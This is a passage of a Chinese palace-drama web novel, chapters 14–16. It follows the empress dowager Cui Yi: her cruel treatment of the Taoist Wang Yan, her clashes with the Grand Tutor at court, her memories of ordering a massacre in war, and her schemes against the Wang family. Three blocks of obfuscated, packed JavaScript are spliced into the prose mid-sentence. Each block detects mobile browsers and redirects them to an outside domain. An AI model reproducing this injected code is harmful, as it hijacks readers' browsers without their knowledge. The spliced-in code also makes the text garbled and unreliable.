心思流转,她还是温柔道:“你多虑了,只是让人将他们带下去。” 她的话无法让王厌信服,须知前段时日悬挂在门房上血淋淋的脑袋,已成了他难以忘怀的噩梦。 见他僵持,崔仪顺势道:“你想求我,总得让我高兴吧?” 她望了望地上的食案,王厌明白她的意思,备受屈辱:“你怎么能这样对我?” “我怎么样?是你不知好歹。”分明只要向她说几句好话,服个软,二人就能和从前一样厮守,王厌却始终不肯低头。 王厌却已经累了,不愿再争执,心如死灰道:“只要我按照你说的做,你就会放过他们?” 宁可为了旁人抛下尊严,都不愿意好声好气求她?崔仪心中恼怒,神色如常道:“没错。” 崔仪在她面前握紧手心,接着,雪色的身形在她面前缓缓低下身——他跪到地上,弯腰下身,极不熟练地将脸凑到食案边,抿了一口药汁。 不必抬头,他已看见了崔仪停留在他面前的衣摆。 仿佛他真的是条在她脚边受嗟来之食的狗畜。 宫人们自是不敢抬头看的,惜云也很快回避到远处,可王厌仍然感到无数道目光落在他身上。 他不断说服自己,即便如牲畜一样又如何,生灵的性命谈何高低贵贱,只要能救人,他的行径并不丢人。 可这些自欺欺人的话语没能骗过他自己。 是崔仪啊,是崔仪让他这样做,那个曾经带给他一切欢愉的少女,他枯燥的时光因她而有了生机。 “太后。” 他压抑住嗓音里的颤意:“这样,足够了吧?” 崔仪折辱他的尊严,本以为能获得些什么快感,可当他真的跪在地上,弯下脊背,她的心中只是一阵痛楚酸涩。 复杂的情绪推动着她,她将人从地上拉起来,再也看不得他这幅下贱不堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791565|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样。 “你宁可为了旁人如此,都不愿与我好好说话?” 王厌别过脸,双唇颤抖。 “好……”崔仪松开手,“如你所愿。” 她气急,欲要离宫,行至门口,又顿下脚步。 “好好盯着他喝药用膳,”复又对惜云道,“挑两个机灵的太监过来。” 惜云吩咐了下去,匆匆跟在崔仪身后,见太后慌乱的背影,无奈地摇了摇头。 太后终究放不下心里的人啊。 回到宫宴上,众人尚在饮酒,气氛意外融洽,且舞剑的宫人退了下去,是左青举着一把玄铁宝剑随着鼓声起舞。 席间不时传来叫好,左青舞剑是有一手,他样貌高大伟岸,除了身手好,另有个特点就是人老实,被夸了几句,耳根一红,放下剑来。 崔仪进了殿内,免去礼仪,卫秀让人给她倒了杯温酒,驱散一路而来挟带的微寒。 “太后,”祝令梅又敬她,“将军鲁莽,莫要见怪。” 比起在军中,左青这些举措这已十分收敛,崔仪只当她是要与自己饮酒,举杯带过。 ”母后,“卫秀似乎也饮了些酒,面上微红,”方才祝军师提起她的这只眼睛被敌军所伤,后来您替她报了仇?“ 军中传去的战报京中人并不关心,今日才听闻此事,都投来好奇的目光。 崔仪望着杯盏,若有所思道:“是的,此仇不报,难解我心头之恨。” 祝令梅笑道:“太后过于自谦,当日两军对战,太后在千军万马中精确无误地将对方一箭穿心,后来踏入敌城堆作京观时,还挖出了那狗贼的两只双目!” 14. 嫉妒 从别人口中再度听到这些事,崔仪有些不好意思,谦虚道:“三人成虎,只不过是恰巧罢了,那支箭才不曾射偏。” 宫中和军中不一样,祝令梅见她如此不愿张扬,也就闭上了嘴。 只有左青一本正经道:“您的箭术,谁敢说是凑巧?对外迎敌,可不是儿戏!” 左青对崔仪很敬佩,生怕她落了一点面子,却不会看场合。 崔仪只笑笑:“雕虫小技,真要杀敌,还得是将士们的功劳。” 她举起杯盏,遮住面颊。 边贼的辱骂写在战书上就只是寥寥几行字,传回上京后,多数的权贵都不知是否听过,即便听了也未必放心上。 可崔仪当日御马对阵,听得是五味杂陈。 卫秀微笑:“长戈山一战,诸位将军的确辛苦。” 宫宴又持续了半个时辰,临了落日前,众人都从宫门打道回府。 卫秀这个皇帝当的像敬酒的,一场宫宴下来早已不胜酒力,只是他还想着先前做错了事,待人群散尽,他局促不安地等在崔仪回宫的路上。 太监欲要给他扇风散去他脸上的潮热,被卫秀给挥退,崔仪来时,就见他踌躇不安地站在路上,太监毕福举着把丝绣圆扇在一旁不上不下。 崔仪瞥了眼毕福:“这是怎么了?” 毕福行了个礼:“陛下酒喝多了,奴才怕他忽冷忽热,染上风寒。” 崔仪看卫秀的额头上是出了些细汗,这会儿刚开春,一会儿再吹吹风,身子差的人的确容易染上风寒。 她本想让人赶紧回去收拾,转念一想卫秀如今当了皇帝,且十五岁都有人成家生子了,卫秀又不痴呆,还用得着她吩咐? 这会儿没有外人,崔仪也懒得作秀,只说了句:“陛下好好当心身子。” 他若是乐意在这吹风,继续吹着就是。 见崔仪头也不回要走,卫秀立刻出声:“母后!” “母后……是不是还在怪我?” 卫秀低着眼,一派逆来顺受的模样,看得崔仪心生疑窦:“你何错之有,我又为何要怪罪你?” 他自省道:“儿子怠慢了道长,心中不安。” 提起王厌,崔仪就想到他那半死不活的模样,实在是倒人胃口。 她语气冷了几分:“管他做什么?你并非有意,他也不敢怪到你头上,随他去就是。” “母后不怪罪就好,”卫秀拿出崔仪先前递给她的帕子,擦去额间的薄汗,“儿子先回宫了。” 两人住得挺远,崔仪回去的路上倒是能顺道再去王厌宫中瞧一瞧。 目中所及的红砖绿瓦,压抑住她的视野,宫中的日子是沉闷的,不比在外快活。她虽不是嫔妃,可脑袋上到底担着太后两个字,不能太胡来。 这烦闷的日子,的确只有王厌能给她解解乏。 “惜云,再去一趟听竹殿。” 惜云只是应声,崔仪却停下脚步,主动问她:“我这样总去看他,会不会太惯着他?” 凭王厌那软硬不吃的模样,太后的性子能一再忍耐,的确让惜云很意外,不过她对此并无意见,只是想了想:“太后要留意太傅那边的动静,这是捧在手心里的宝贝,恐怕他们等不了多久就要接人回去。” 崔仪凤目微敛,继而笑道:“回去?我将他带入宫中,就没想让人再接回去。正巧族里缺个由头发难,若是太傅提起来,就让族中顺水推舟……” 惜云不这样乐观:“可他毕竟是独子,须知王家近些年生不出什么孩子,死的死、病的病,也就王三是顶好的品相。” 岂止是王家,整个上京乃至朝内都仿佛被诅咒一般,生不出几个孩子,崔仪上阵时,敌军还因此事说过本朝是遭受天谴的一代。 她怒不可遏,因为曾亲眼目睹过族中的姐姐难产而死,好不容易为夫家诞下一个孩子,那孩子也没两天就去世了。 这些年各州各地人口锐减,百姓生得稍微多些,却养不起,贫苦地区的百姓,大多数不是将孩子送人,就是卖给达官显贵。 “连年战事,伤了根基,百姓是最熬不起的。”崔仪叹息一声,目露同情,“如今外敌已除,可以喘口气了。” 近些年匈奴不敢造次,上回的战败已经尝尽苦头,崔仪甚至用了一些连她都没想过的残忍手段。 从前她猎鸟、捕虎,虽也杀生,但到底和杀人是不一样的。 且那不是纯粹的杀人,堆砌京观已足够挑衅,为震慑逃走的部落,她做了一些过于残酷的事。 至今回想起,崔仪都有些发颤,她简直不敢相信战场上的人是她自己。 惜云不知她在想什么,点点头:“王家大势已去了……” 大势已去的缘由究竟是不送王厌入朝为官,还是王家人本就不行了?崔仪心底有答案,王家人过于信奉道教,依仗着历任皇帝的偏爱,肆无忌惮地挥霍,如今太傅名声虽高,学生也不少,可手里的实权几乎都被分走。 至宫中,崔仪终于能歇息会儿,她随手摘下发冠,正要更衣沐浴,惜云抱着长盒,问及此弓是否要收起来。 这弓,崔仪曾带上战场,份量很沉,惜云连带盒子抱了一会儿,已显出几分吃力。 “不,”崔仪用指尖擦过弓弦,听见一声嗡鸣,“挂到书房去。” 不知是否因祝令梅来了京中,再加之白日里想到了战场上的场景,入夜歇下之后,崔仪做了个噩梦。 她梦见自己骑在高高的马背上,那是她在军中的马,因皮相奇特,取名叫雪中泥。 耳边是盔甲的撞击声、行军的马蹄声,哀鸿遍野,火光在城内肆意,她正要驾出城门,却有异族人挡在马前求饶,托举起年幼的稚子,似乎想唤起崔仪的同情。 崔仪冷着脸,抽出银剑,弯腰砍断了对方碍事的胳膊。 孩子也落在地上,哇哇大哭。 在战事里,她必须这样做,别无选择。 可马蹄踏过人肉的泥泞声,让崔仪在归朝后的很长一段时间内都睡不好,时时惊醒。 卫泠生病前,是和她同寝的,一旦她惊醒,卫泠也就不睡了,点起蜡烛陪她。 后来卫泠病重,崔仪逐渐不再做噩梦,卫泠主动提出分居。 今夜噩梦又重现于脑海,崔仪深吸一口气,自床上睁开眼。 星月交辉,宫内万籁俱静,寝殿外有微弱烛光,守夜的小宫女睡在外头,不曾进来,恐怕是熬不住,早已睡熟。 崔仪没有怪罪,亦不曾喊宫人。 她眼力很好,摸黑下床独自点起蜡烛,在床边的小箱子中寻找书卷,但翻了许久,手只顿在空中,什么也没拿。 这些早已不是她当初看的书卷。 此时此刻,崔仪想起从前的她,却说不清楚,究竟在想什么。 约莫过了半个时辰,天色渐渐翻白,惜云在殿外轻声唤醒值夜的宫婢,撩起重帘,见崔仪独坐在寝殿内,愣了一愣。 “太后醒了,为何不叫奴婢?”她几步上前,见崔仪只着单衣,连忙拿了件薄毯。 崔仪裹着绒毯,站到窗边往外瞧,晨露凝在枝头,她悠悠道:“做了一整夜的噩梦。” 关于崔仪做梦的事,惜云也知晓,她望了眼天色:“您这是一夜未眠?还是醒得早了些?奴婢吩咐人去熬些安神汤,您下朝回来再睡会儿。” 她忧心忡忡:“好好的,怎么忽而又开始做梦。” 历任皇帝在位时,若是做了梦,必然要去去太清道观问上一问,好的、坏的,都要去一趟,且无论解梦的结果是什么,皇帝都不得对道长下手。 崔仪不怎么信道,也不想找人解梦,因为她知晓为何会梦到这些,此刻只想与人说说话。 她未曾选择向惜云倾诉,从窗边再转过身、撂下薄毯,已面色如常,准备洗漱更衣。 “今日父亲要上朝吧?” 上京的官员轮流上朝,惜云数数日子,向崔仪颔首。 要员上朝,人来得不多,却待得更久。 崔仪没想到太傅这样沉不住气,不等下朝就直言问道:“不知幽玄道长何时归回道观?臣听闻净明道长下月要为国起坛,替凉州百姓求雨。” 珠帘后,崔仪蹙眉:“太清道观要起坛,为何不曾听闻消息?” 太傅老神在在:“起坛之事历来有之,难道太后要阻止?何况起坛是为凉州百姓,去年十月至今,凉州不曾再下过一场大雨,眼见入夏之后就是秋,难道太后要凉州百姓颗粒无收?” 他自称为臣,说话时却双手交叠于身前,既不弯腰行礼、也不垂首回避,显然并不把珠帘后的人放在眼里。 这老不死的畜生,崔仪在心里骂了句,面上笑道:“太傅言重,只是此事也太突然了些,不曾有人上书。” 他话音刚落,崔太师上前道:“昨日凉州传来的消息,太清道观当即有了决断,本想今日上朝启奏,不想被太傅先行一步。” 宫外都有了消息,偏偏做皇帝的没听说,卫秀霎时转脸向崔仪,似难堪、似内疚。 太师都这样说,崔仪也不好顺着此事发作,只道:“鏖战数年,朝野上下百废待兴,此刻更应当节制开支,起坛可以,但不能再如以往那样铺张。” 她不说何时将王厌送回,只道:“王三公子在宫中抄经,这几日皇帝果真睡得不错,不再梦魇缠身。” 听到这里,太傅已有了满腹疑惑,他安排在宫中的人什么也不曾透露,只说王厌住在最好的宫殿中诵经祈福,并无异常之处,只有两个侍从冲撞了皇帝,被太后下令仗杀。 迟迟不肯放人,也不给准话,甚至连起坛的事都要插手,太傅心中千百般的不愿,不免又说了几句。 啰里八嗦说了一大堆,语色轻蔑愤慨,崔仪原本还盛怒,听到最后竟也释然,待珠帘外的动静终于安静下去,她赶在太师开口前,用手中的青瓷茶碗敲了两声。 釉色通透,音色也极脆,“叮”一声,珠帘后的朝臣都停下动作。 崔仪抿了口茶,重新递回惜云手中。 “祈福自然是要祈福的,只不过经太傅提起,我倒想起这数月来朝廷拨给凉州赈灾的银两无数,也不知地方官员如何安排,我命祝军师前去凉州赈灾,顺道望一眼。” 太傅冷哼:“祝军师?一介女流,懂什么救灾济民,那些个土法子,在边关用用尚说得过去,凉州是什么地方?那可不一样。” 他刚说完,耳边传来“哗”一声,是崔仪掀起珠帘,露出一张笑眯眯的脸。 “太傅以为,边关百姓这么多年来都是被糊弄过去?” 真是老糊涂了,这样的话也敢说,崔仪皮笑肉不笑地盯着他,被崔太师明里暗里地要求退回去,崔仪这才重新放下珠帘。 “你!”太傅气结于心,瞪目看她,却没再说什么。 太师趁此时机上书几句,在场之人都晓得太后是崔家庶女,心照不宣选择了缄默,只是太傅越听越皱眉,面色发黑,一口气憋在胸口,本想回骂几句,又想起如今大权不在自己手上,两眼一闭差些晕倒。 崔仪也不再继续说这事,毕竟是朝臣上书,吵来吵去成何体统,再说几句她都怕出了宫殿门就打起来。 罢朝后,崔仪让卫秀先退下去,独自见了父亲。 崔太师迫不及待张口训斥她:“你的胆子也太大了,当着这样多文武百官的面和太傅做对。” 崔仪不屑道:“这算什么,他一把骨头,就是被气死也怪不到我头上来。” “他当然能死,只是你叫外人如何议论?”太师语重心长,“王厌被留在宫中,半点儿消息也传不出来,你当真别无他意?” 有又如何?只不过崔仪在惜云的搀扶下,走到父亲跟前,微微笑道:“父亲多虑了,我这样做,不是为了族人们吗?有他在我手上,太傅日夜备受煎熬……” 太傅看来,王厌是个清高之人,仅仅是在世俗中待这么些日子,都叫他难以忍受。 崔仪有时感叹王厌可怜,更可悲。 崔太师见女儿这样摆出笑脸,他浑身不自在,寻了个由头立刻走了,临走前又道:“凉州大灾确有此事,你不能只派那祝令梅独自前去,此事再做定夺。” 望着他步履如风的背影,崔仪眼中有些艳羡:“惜云,我时常羡慕父亲。” 惜云等着她的下文。 可她不再说了。 罢朝之后,崔仪没有回宫歇息,而是去了听竹殿。 今日上朝浪费了不少功夫,磨蹭的时辰久了些,这会儿都临近晌午。 天色倒是极好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791566|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如洗的碧蓝挂在当头,崔仪支着额头,一路到了殿外,宫人通报后,她走入了殿内。 苦涩的药味儿、混着轻浅的兰香味儿,闻起来些许怪异。 王厌正在用膳,听说是崔仪来了,他起身迎着,俊秀如玉的脸依旧没什么血色。 或许是误会崔仪要来折磨他,王厌站得有些远,意在回避。 然而,今日崔仪并不怎么看他,只是问道:“抄写的经书都在何处?” 让王厌抄经只是个幌子,只是他并不懈怠,片刻的失神之后,他带着崔仪入了偏房。 比起先前的宫殿,这个经堂宽敞不少,崔仪甫一进门,就见到右侧书案上理得整整齐齐的颂经,笔墨有致,字迹秀丽,如往常一样,没有半分的敷衍。 崔仪一张张翻过,静静看着那些她并不关心的文书,缓坐在蒲团上。 晌午的光,扑过小窗,照在她的肩头。 ”王厌,你说,抄的这些经书当真有用吗?“ 王厌不知她怎么会问起这事,然后又想起,多年前的崔仪问过一样的话。 只不过,当年的她并不像这样沉寂,而是囫囵吞枣地翻看他的经书,调笑:“这真的有用?若是念这些有用,还读什么书、习什么武,大伙儿坐在一块儿念经,谁念得好谁当皇帝。” 那样大逆不道的话,听起来尚有几分不知天高地厚的鲜活。 王厌只觉得崔仪不应当这样落寞萧索,竟本能道:“可是出了什么事?” 崔仪招了招手,让他坐到身旁来,王厌迟疑地坐到崔仪对面,这才发觉她的眉梢轻轻拧着,不似平日张扬。 “我梦到了打仗时的场景,真可怕啊。”崔仪凝视着王厌的脸,仿佛透过他看向了更远的地方。 “你一直恨我嫁给卫泠,可我必须这样做,这是因为我嫉妒。年少时我在族中并不起眼,那时,我嫉妒姐姐和妹妹可以去读书习武,于是我也学着哄父亲高兴,让他送我去马场,去学堂。“ ”再长大些,我嫉妒的人就成了父亲,因为他一句话,那些人就不敢再对我造次。” “后来我发现,我最嫉妒、最想要的,是权力,这是我作为女人,最不应该有的贪婪。我可以嫉妒姐妹的姻缘相貌,唯独不能嫉妒一个男人拥有的权力。可我真的很羡慕,为什么别人一两句话,就能左右我的人生?” 王厌从不知晓崔仪从前在族中过的是什么日子,但崔家的家风在上京算不错的,没必要苛待庶女。 “你……从前没说过这些。”他轻声。 说了又有什么用?崔仪继续道:“和卫泠成婚后,我随军去了长戈山,他原本不同意。” 王厌实在不想接这话,一想起崔仪曾经与卫泠那样恩爱、在战场上并肩迎敌,他就情不自禁涌出一股陌生的躁意。 可崔仪面色不好,他终究是心软的人,僵硬道:“他担心你……” “不是的!”崔仪打断,“他只是不想我接触这些,一旦我立功,圣上就不得不赏赐我,举世皆知。” “我必须这样做,王厌。等我真的上了战场,才知晓什么是人间炼狱。” 战场之上的士兵或许不无辜,城破之后的平民呢?崔仪低声:“自然,匈奴死有余辜。祝令梅当初领命埋伏在山野中打探消息,被活活射瞎了一只眼睛,我给她报仇了。我不仅为她报仇,还为这十余年来饱受战乱之苦的百姓报了仇,王厌……在我还未察觉之时,我在战场上失控了……我和祝令梅、左青率三千精兵绕后包抄了敌军,踏破城门之后,是我下令屠城。” 王厌缄默:“为国,为民,你有你的立场。” 崔仪道:“人和人的尸体变成了一座小山,那也是我下的命令,卫泠本想阻止,他说这不仅仅是杀人,还是虐杀。” “直到回来之后,我才发觉自己做的事多可怕。” 说起战事,王厌是不懂的,但他好歹读过书,也耳濡目染过不少,摇头道:“若说虐杀,开国皇帝拓开疆土时还曾经将人与人的头颅串在一块儿挂在城墙上……或是用火炙烤幼童逼出城民,战事中,比你残忍的手段比比皆是,你不必多想……” 说起这些事,王厌面色不大好,他本就虚弱,字里行间只觉得这些行径血腥恐怖。 崔仪一向认为该杀之人,即便死在眼前也不必内疚,可当那些尸山血海当真在她面前,又是另外一番滋味。 “王厌,我好害怕,”崔仪默默道,“我害怕陌生的自己,害怕失去理智的那一瞬,但你知晓最让我伤心的是什么吗?” 王厌轻轻摇头。 “最让我伤心的是,我连残忍都是从旁人身上学来的,而当我斩断这一切困难险阻,送走了卫泠,你却要这样对我。” 她不像以往那样,逼着王厌给出什么答案,只是幽声:“那时我在战场上受了伤,其实,最想见到的人是你。” 千山万水,她终于再度站到王厌跟前,只是不想,二人闹成了这样。 “若是有心,替我也抄写一份吧,就当为我消灾解厄,我不想再做噩梦。” 崔仪说完话,放下手中的经文,仔细整理好,放回案上。 她站起身,好似摇晃了一瞬,又坚定地转过身离开,在她踏出门槛前,王厌望着她的背影,仿佛见到了五年前的她。 他鬼使神差地喊了一句:“崔仪。” 那道身影果然停了下来,依旧背对着他,只在走到了春光中,等待他的后文。 王厌不知该说什么,再度沉默,窒息一般的氛围,让他想起曾经二人是多么要好。 她最明媚的时期是和他度过的,他分明也做了力所能及的事,要怪谁?怪崔仪不知餍足,非要争取权欲,还是怪他没用? 终究是她违背了二人的誓言,为何她的沉重、她的抱负,要以他的幸福为代价? 家国之下,情情爱爱是不可避免的牺牲品,王厌懂这道理,却仍然无法退后一步。 崔仪等了他许久,不见后续,便不再久留,迈步出了小堂。 惜云扶着她要回去,身后这才传来脚步声,崔仪侧目过去,就见王厌追了上来,倚在门旁。 他瘦得厉害,下颌瘦削,玉雕般的脸,在春光下浸出缕缕暖意。 “太后,臣会为你抄写经书的。” 15. 议事 午间没心思进食,崔仪回宫后刚喝完宁神汤,正要歇下,又有内宦来报。 太监曹志跪在地上,悄声:“陛下回宫后刚洗沐完,王家人来求见,已在宫中待了快半个时辰,臣本想打探消息,却见太傅大人身边的近卫守在门旁,不敢贸然前进。” 崔仪原本昏昏欲睡,听这话,目色清醒许多:“太傅和陛下在单独议事?这样的事,怎么不早些来报。” 曹志磕了个头:“太后,王太傅不仅与陛下会面,还在宫中打探道长的消息,奴才赶忙去将那两个王家的族人安顿了一番,免得他们说漏嘴。” 这桩事崔仪倒并不担忧,只说:“不曾闹出人命就行。” 太监称是。 想了一会儿,崔仪漱完口,扔去手中擦嘴的帕子,道:“陛下那边,静观其变,不必声张。” 她能猜想到太傅为何见卫秀,无非是想到先帝病榻之上,卫秀常去探望,兵符应当是给了卫秀,怎么也想不到都在崔仪手中。 “唉。”崔仪躺到榻上,“我是想留他几分体面,他不应当如此挑衅。” 惜云给殿内点了香,面色惊诧:“陛下竟然有这样的胆量,若是他生出别的心思,太后可要当心。” “卫秀么?太傅想见他,他也不敢回绝。他这人,总归是没什么大志气。” 崔仪枕着软靠,念及前朝的萧太后挟幼帝临朝,外戚当政,当初的箫家还不如如今的崔家势力大……她想着想着,在炉香中渐渐入睡。 再睁开眼已是满窗霞光。 惜云告诉她祝令梅进宫来了,崔仪连衣裳都懒得换,卧在榻上,手执书卷等着祝令梅进来。 这些日子祝令梅住在官舍中,并不时常在宫里,崔仪入睡前让人给她通了消息,眨眼的功夫她就进宫请见,不一会儿就站在内寝的小榻前,和崔仪面面相觑。 “我不去凉州!”祝令梅来的路上就想好了,“凉州不比边关,当地的官员我不认得,叫我贸然去赈灾查探,他们定然容不下我。” 祝令梅和左青原本就只是为了进京探望卫泠,没想到卫泠死了,京中剧变,她这才多留了几日留下来观望。 和崔仪见面她乐意,和洲县官员打交道则是两说,祝令梅头痛道:“要界官员暗中相护,我既无人脉亦无情报,贸然前去……你是为了查灾款的去向吧?这是得罪人的差事,我不干。” 崔仪瞥她一眼:“你都替我说出来了,还要我说什么?” 她示意祝令梅坐下来,悠悠道:“若不然,你和左青一块儿去?” 可祝令梅还是不同意,她心中多有不快:“左青比我官职大,我和他来见你倒算了,若是去见旁人,少不得我在外要给他低头行礼。我不过是瞎了一只眼,就说什么不让我上前线,结果仗打赢了,他是副将我是军师,凭什么。” 这番话她说得一气呵成,想必是在心中酝酿许久,崔仪点头:“当初让你退回营中是让你养伤,如今你已适应,的确该给你提拔回去,这是你应得的。” 祝令梅大喜过望:“此话当真?” 她见崔仪只笑不语,明白过来,又泄气道:“你非要我去,那我去就是了,只是凉州内我全无旧识,去了也无用。” 崔仪站起身道:“你人到了凉州,即是大用。” “银两的去向?” 崔仪沉吟:“你与左青去看一趟,风风光光的去,不必细查,至于账目……我会让族中人暗中前去。” 原来是要她们将风头引走,祝令梅应下来:“这事做完,你就给我升官?那……她怎么办?” “我让去接她,”崔仪想了想,“待你们出城,我再派人去,你且等我消息。” 祝令梅欲言又止:“你瞧着来吧,切不可操之过急。” 她退下了,惜云这才进殿要传膳,崔仪想着要如何安排祝令梅和左青前去,一时没心情用膳,传了父亲进宫。 崔太师很快就趾高气扬地来了,听得崔仪的想法后,颔首道:“她二人去了,凉州官员自然会松懈不少,我再去,定能抓到他们的把柄。” 崔太师不日要去冀州巡视,率人半路前往凉州,打个措手不及,是个好办法,只不过他又道:“贪些银子、扣押屯粮,还不足以要他的命。” “父亲说得是,”崔仪道,“不过,王厌还在我手上。” “你要威胁他?” “不……威胁他,不如毁了他来得更快。” 再送父亲出宫,天色早已黑了,过了用膳的时辰。 惜云提前留了吃食在盒中,还温着,赶忙呈上来。 崔仪满腹心事,又想起卫秀那边的动静,嘴里更没滋味儿,渐渐放下手中的小碗,本想就这样让人收拾了,转念一想,往后的日子事情更多,让她烦心的事也会更多,她若是饭都吃不下,如何打起精神应对? 于是崔仪强忍着烦躁,将饭菜胡乱吃了个遍,而后再洗沐。 翌日早,崔仪起晚了些,心情不佳,惜云手忙脚乱在一旁准备朝服和衣饰。 见婢女们来来去去,崔仪穿着寝服坐在宫内,忽而道:“今日朝内没有要臣,去了也无事可议,对陛下说我病了,他见机行事即可。” 惜云愣了愣,让婢女都退下,这会儿天蒙蒙亮,她点起烛灯,低声:“太后想好了?昨日陛下刚见过太傅,今日又让他独自上朝,是否不妥。” 崔仪揉了揉眼:“随他去,且看他能掀起什么风浪。” 她打定了主意,惜云就不急了,去殿外让小太监到卫秀那儿去通报,再折回殿内时,崔仪已洗漱好,翻了身天青色的便服。 惜云道:“太后这是要出宫打猎?” 崔仪摇了摇头:“今日就在宫内转转,恰巧去瞧瞧宫殿修缮得如何,正巧将王厌请出来赏花,总闷在殿内,闷出病了如何交待?” 用早膳时,崔仪多吃了几口,等她吃完,太监通报来说,王厌已经等在正殿外。 崔仪清了口,起身去迎,果然见到一人静静站在殿外,长身玉立,宛若白兰。 这还是王厌第一回到崔仪的宫中,派了个太监正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803827|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿八经将他请来,他没有推脱的理由,于是匆匆赶来了,崔仪细看,发现他的面上略有红晕。 “太后。”他唤了声。 崔仪负手走到殿前,望着前头一片天光。 “今日天色这样好,道长陪我走走吧。”她笑了笑,“宫中四处修缮,也让你瞧瞧风水上可有不妥之处。” 她这幅模样,仿佛两人从未生过嫌隙,王厌看得出神,连忙别过脸,诚心实意道:“太后有令,不敢不从。不过宫中的风水当初都找师父看过,我的造诣远不如他,恐怕不能帮到什么忙。” “无妨,先看就是。” 宫人备下步辇,却被崔仪否了:“这样好的天,走走也好。” 她又问起王厌:“你的身子可无恙了?不如你坐?” 王厌摇头:“岂有臣子坐轿而太后行路的理?病已好了,多谢太后。” 他不愿意坐,崔仪就不过问了,让惜云禾太监们开路,往旧殿去。 几座旧殿围绕着丰宣从前的寝宫,被烧得厉害,修了大半年也不见竣工,不过初具风貌,能看出从前的大致轮廓。 崔仪叹息道:“当初事发时,天还未亮,这殿内火光冲天,直冲云霄,映得天幕亮如白昼,宫人们都被吓坏了,四处喊着走水……火势蔓延差些止不住,索性并未死人。” “除了丰宣。” 王厌只轻声:“宫人无辜,不应当死去。” 崔仪发问:“你以为,丰宣罪有应得?” 他道:“丰宣皇帝的恶行有违天理伦常……” 但和别人有什么干系,百姓不在乎,因为百姓连命都保不住。 官员也只觉得丢人罢了,并非真的上心,京中的丑事多了去了,丰宣只不过闹得大了些,只要不影响朝政,只有几个老臣口诛笔伐以死上谏,让丰宣三思后世如何看他。 王厌不知道这些,他只是说:“血缘至亲,怎可行此秽事。” 崔仪似是赞许:“所以朝香公主难以忍受,私藏匕首,结束了丰宣的性命。” “公主是一国明珠,蒙受侮辱,定然委屈。”王厌对她弑君的行为并不表态。 “宫中闹鬼,”崔仪忽而道,“去年冬我住进宫中,宫女太监们私下传闻说此处时常传来女子幽怨的哭声,说是公主的魂魄。” “不过,我并不相信此事。” 王厌看眼前渐起的楼宇房梁,摇头:“这里没有,只不过是下人们闲来无事,捏造是非。” “你这样说,我就放下心。”崔仪满意地走在前头,进了殿内细看。 修缮宫殿,还要将四壁之上上色涂抹,绘画图案,有画师正铺满纸张,起草画图。 屏风将墙壁分隔,层层白纱后,崔仪和王厌时走时停。 仕女图后,王厌的脸若隐若现。 空旷的大殿内能听到微弱的风声,崔仪走近那道屏风,压低嗓音:“你可知我为何不信那传闻?我想,一个会拿起刀手刃仇人的公主,即便真在火中烧死,她也不会哭的,只会心满意足地笑。” 16. 挑起 绣着竹叶的屏风未能全然隐去王厌的面容,神色变化都落在崔仪眼中。 他自是知晓宫中冤魂四起的无稽之谈,心中也不相信,又觉着崔仪说这话奇怪:“情急之下的举措,未必是她的本性。我倒见过朝香公主,观她不善言辞,性情内敛。” 崔仪已大步走出层层屏风,二人间隔了些距离,她只是轻笑,不再解释。 负责修缮事务的内宦上前行礼,领着二人在宫中相看,此次修缮正值新皇登基,殿内的绘图与布局改了些,和以往不尽相同,崔仪问及还要多久竣工,太监道:“两个月。” 前前后后将要半年,再过两个月才能入主真正的大殿,崔仪督促加快进程,与王厌转而去了后院。 未至梨花处,已闻到阵阵芳香,崔仪略抬脸去看:“这花开得甚好。” 点点白意坠枝头,王厌却对花树并无兴致,别过脸望着远处的亭台水榭。 崔仪想起什么:“你并不喜爱赏这些景色,许久不见,倒是我忘了。” 王厌道:“我在观中与树木花草为伴,已看得足够多,还望太后不必怪罪。” 他说的话疏离却有礼,崔仪沉默。 惜云让下人们都退开些,梨树下二人一前一后站着,心中滋味各不相同。 王厌实在是如芒在背,与崔仪独处,他心中说不出的微妙,又不得不劝诫自己忍耐下去,即便要发作,也不知这股力往何处使。 不是恨她,也非埋怨,只是想起从前之事,再看如今两人的情形,让他涩然。 崔仪道:“你与我这样生分,想必还在怨我。” 思忖几息,王厌微叹:“太后自有计谋和所愿,我不敢埋怨,如今尚能相处,已是最妥当的局面。” 他说得不无道理,二人曾做过大逆不道之事,如今还能时不时见一面,于身份、于礼制都是最优解,且王厌此时言辞恳切,亦无怨怒。 崔仪却神色淡淡道:“你是说,我应知足了。” 见王厌以沉默作答,崔仪喟道:“若我知足,就不会站在此处,老老实实在崔家做个庶女,锦衣玉食,不愁前程。” 她从来就不是个知足的人啊,身边的旧友也劝过她许多,劝她不该争那样多的东西,还说过人心不足蛇吞象的话。 